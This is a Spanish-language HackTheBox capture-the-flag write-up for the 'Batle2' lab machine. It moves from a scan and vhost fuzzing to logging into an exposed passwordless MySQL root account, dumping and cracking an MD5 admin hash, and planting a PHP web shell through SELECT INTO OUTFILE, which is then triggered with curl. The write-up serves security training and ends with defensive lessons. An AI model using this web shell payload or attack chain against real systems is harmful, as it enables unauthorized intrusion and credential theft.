HackTheBox
Medium
Linux
MySQL
Web
Batle2
Continuación de Batle. MySQL 8.0 expuesto en el puerto 3306 junto a la aplicación web. Acceso a la base de datos para extraer credenciales y obtener shell.
Ago 2023
~60 min
cat4clysm
Herramientas utilizadas
nmap
mysql client
gobuster
john
ffuf
Reconocimiento
root@kali:~$
nmap -p 22,80,3306,33060 -sC -sV -Pn 10.10.110.102
22/tcp open ssh OpenSSH 8.2p1
80/tcp open http nginx 1.18.0
3306/tcp open mysql MySQL 8.0.26
33060/tcp open mysqlx?
MySQL expuesto públicamente en el puerto 3306 — intentamos acceso con credenciales por defecto.
También enumeramos el vhost de la aplicación web:
root@kali:~$
ffuf -u http://10.10.110.102 -H "Host: FUZZ.snowbell.htb" -w subdomains.txt -fw 1
[Status: 200] www.snowbell.htb
Acceso a MySQL
Intentamos conexión con usuario root sin contraseña:
root@kali:~$
mysql -h 10.10.110.102 -u root -p
# Password: (vacío)
Acceso concedido. Enumeramos las bases de datos y extraemos credenciales:
SHOW DATABASES;
USE app;
SELECT * FROM users;
+----+----------+----------------------------------+
| id | username | password |
+----+----------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
+----+----------+----------------------------------+
Hash MD5 — lo crackeamos:
root@kali:~$
john --format=raw-md5 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
password (admin)
Shell via MySQL INTO OUTFILE
Con acceso a MySQL y permisos de escritura, usamos INTO OUTFILE para escribir una webshell:
SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php';
root@kali:~$
curl "http://10.10.110.102/shell.php?cmd=whoami"
www-data
Lecciones aprendidas
- MySQL nunca debe estar expuesto a internet sin autenticación — usar firewall para restringir el acceso al puerto 3306.
SELECT INTO OUTFILEes una técnica clásica para escribir webshells si el usuario MySQL tiene permisos FILE.- Los hashes MD5 sin salt son trivialmente crackeables con rockyou.txt.